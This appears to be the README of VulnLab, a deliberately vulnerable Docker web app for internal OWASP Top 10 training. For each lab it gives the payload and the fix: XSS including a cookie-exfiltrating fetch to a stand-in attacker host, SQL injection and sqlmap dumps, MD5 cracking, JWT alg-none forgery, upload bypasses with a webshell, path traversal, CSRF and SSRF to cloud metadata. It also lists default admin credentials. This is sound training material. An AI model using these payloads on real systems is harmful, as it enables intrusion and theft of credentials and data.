FOR AUTHORISED INTERNAL TRAINING ONLY.
This application is deliberately insecure. Never expose it to the public internet.
VulnLab is a self-hosted, Docker-based web security training platform covering all major OWASP Top 10 vulnerability classes. Designed for teams to practice penetration testing in a safe, controlled, isolated environment.
| Lab | Vulnerability | OWASP | Points |
|---|---|---|---|
| XSS Reflected | User input echoed raw into HTML | A03 | 100 |
| XSS Stored | Malicious comment persists to all users | A03 | 200 |
| XSS DOM | innerHTML from location.hash |
A03 | 200 |
| SQLi Login Bypass | Raw string concat in login query | A03 | 100 |
| SQLi UNION SELECT | Extract users/products via UNION | A03 | 200 |
| SQLi Blind | Boolean-based blind inference | A03 | 300 |
| Auth: Weak Hashes | MD5 unsalted passwords | A02 | 150 |
| Auth: JWT None Alg | JWT signature bypass | A02/A07 | 250 |
| Auth: IDOR Profile | Unguarded user ID parameter | A01 | 150 |
| File Upload | Missing MIME/extension validation | A05 | 300 |
| Path Traversal | Unsanitized file path param | A01 | 250 |
| CSRF | No token on email-change form | A01/A05 | 200 |
| SSRF | Server fetches attacker-supplied URL | A10 | 300 |
Total: 2,700 points across 13 flags
- Docker ≥ 24
- Docker Compose ≥ 2.x
git clone <your-repo> vulnlab
cd vulnlabdocker compose up --build -d| URL | Description |
|---|---|
| http://localhost:8080 | Main VulnLab app |
| http://localhost:8080/admin/ | Instructor admin panel |
| Account | Username | Password |
|---|---|---|
| App admin | admin | admin123 |
| Admin panel | (any) | admin123 |
Change
ADMIN_PASSWORDindocker-compose.ymlbefore running in a shared lab.
- Find your machine's LAN IP:
ip addr/ipconfig - Share
http://<YOUR_IP>:8080— everyone can access the labs - Each trainee registers their own username to track personal progress
In docker-compose.yml, set the network to internal:
networks:
vulnnet:
driver: bridge
internal: trueRun on a server and access via VPN. Port 8080 only needs to be reachable inside the VPN.
URL: /xss/reflected?q=<payload>
Payload: <script>alert(document.cookie)</script>
URL: http://localhost:8080/xss/reflected?q=<script>alert(1)</script>
What's happening: The q parameter value is directly interpolated into the HTML template with no encoding.
Fix: res.send(escapeHtml(query)) — encode <, >, ", ', &.
URL: /xss/stored
Comment content: <img src=x onerror="fetch('http://attacker/?c='+document.cookie)">
What's happening: Comment is stored in SQLite and rendered raw for every visitor.
Fix: Sanitize before storing (DOMPurify server-side), or encode on render.
URL: /xss/dom#<payload>
Navigate to: http://localhost:8080/xss/dom#<img src=x onerror=alert(1)>
What's happening: location.hash is passed to innerHTML with no sanitization.
Fix: Use textContent instead of innerHTML, or sanitize with DOMPurify.
URL: POST /sqli/login
Username: ' OR '1'='1' --
Password: (anything)
Query becomes: SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='...'
Fix: Use parameterized queries: db.prepare("SELECT * FROM users WHERE username=? AND password=?").get(u, p)
URL: /sqli/search?q=<payload>
Payload: ' UNION SELECT id,username,password,role FROM users --
Payload: ' UNION SELECT id,name,secret,price FROM products --
Fix: Parameterized queries + principle of least privilege on DB user.
URL: /sqli/blind?id=<payload>
Payload: 1 AND SUBSTR((SELECT username FROM users WHERE role='admin' LIMIT 1),1,1)='a'
Automate with sqlmap:
sqlmap -u "http://localhost:8080/sqli/blind?id=1" --dbms=sqlite --dump --level=3 --risk=2 --batchURL: /auth/hashes
- Visit the page — all MD5 hashes are exposed (IDOR)
- Paste into https://crackstation.net
- Or crack locally:
echo "0192023a7bbd73250516f069df18b500" > hash.txt
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# or
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtURL: /auth/jwt-demo
- Get your token from the page
- Decode at https://jwt.io
- Forge with Python:
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip("=")
header = b64url({"alg": "none", "typ": "JWT"})
payload = b64url({"username": "attacker", "role": "admin", "iat": 9999999999})
token = f"{header}.{payload}."
print(token)- Submit the forged token to
/auth/jwt-verify
URL: /auth/profile/1 → /auth/profile/5
Simply increment the ID in the URL. No session check is performed.
Profile 5 (secretuser) contains a flag in the bio.
URL: /upload
The filter only blocks .php. Try:
shell.php5
shell.phtml
shell.pHp (case bypass)
shell.html (XSS via upload)
shell.js (Node webshell concept)
Sample upload payload (HTML webshell demo):
<html><body>
<form method="GET">
<input name="cmd"><button>Run</button>
</form>
<pre id="o"></pre>
<script>
const p = new URLSearchParams(location.search);
if(p.get('cmd')) fetch('/exec?c='+p.get('cmd')).then(r=>r.text()).then(t=>document.getElementById('o').textContent=t);
</script>
</body></html>URL: /upload/download?file=<payload>
/upload/download?file=../../etc/passwd
/upload/download?file=..%2F..%2Fetc%2Fpasswd
/upload/download?file=....//....//etc/passwd
Fix: path.resolve() + check result starts with UPLOAD_DIR.
- Login as
alice(crack her MD5 first:md5("password")) - While logged in, open
/csrf/pocin another tab - The page auto-submits a form changing alice's email to
hacked@attacker.evil - The server has no CSRF token — request is accepted
Fix: Use csurf middleware, SameSite=Strict cookies, or check Origin header.
URL: POST /api/fetch with url=<target>
# Probe internal admin panel
curl -X POST http://localhost:8080/api/fetch -d "url=http://admin:4000/"
# Probe Redis
curl -X POST http://localhost:8080/api/fetch -d "url=http://redis:6379/"
# AWS metadata (if deployed on EC2/ECS)
curl -X POST http://localhost:8080/api/fetch -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"Fix: Allowlist of permitted domains, block RFC1918 ranges, use a dedicated egress proxy.
- Start ZAP
- Set browser proxy to
127.0.0.1:8080(ZAP's proxy) - Browse VulnLab normally — ZAP will populate the sitemap
- Right-click VulnLab in the Sites tree → Active Scan
- Review alerts in the Alerts tab
Or run automated spider:
# ZAP CLI
zap-cli start --start-options '-config api.disablekey=true'
zap-cli open-url http://localhost:8080
zap-cli spider http://localhost:8080
zap-cli active-scan http://localhost:8080
zap-cli report -o zap_report.html -f html- Open Burp → Proxy → turn Intercept On
- Configure browser to use Burp proxy (127.0.0.1:8080)
- Browse to each lab
- In Proxy → HTTP History, right-click interesting requests → Send to Repeater / Intruder
- Use Intruder for parameter fuzzing (SQLi payloads, wordlists)
- Use Scanner (Pro) for automated vulnerability detection
Access at http://localhost:8080/admin/ — password admin123
| Feature | Description |
|---|---|
| Dashboard | Live stats — users, solves, uploads, log lines |
| Users | Add/delete users, reset individual scores |
| Score Matrix | Visual grid of who solved which flags |
| Flags | All flag values, solve counts, add custom flags |
| Traffic Log | Full HTTP request log with filtering |
| Reset Labs | Clear XSS comments, uploads, all scores |
| Hints | Quick reference cheat sheet for instructors |
| Broadcast | Post announcements visible on the app |
- Create
app/routes/mylab.jsfollowing the pattern of existing routes - Register it in
app/server.js:app.use("/mylab", require("./routes/mylab")) - Add a flag to the database via the admin panel or in
db/seed.js - Add a card to
routes/home.js
internal: trueon the Docker network completely blocks outbound internet from containers- All labs reset cleanly via the admin panel between sessions
- Traffic log captures all requests — trainees can review their own attack payloads
- Never use real credentials or real data in VulnLab
- Never expose port 8080 to the internet
MIT — for internal security training only.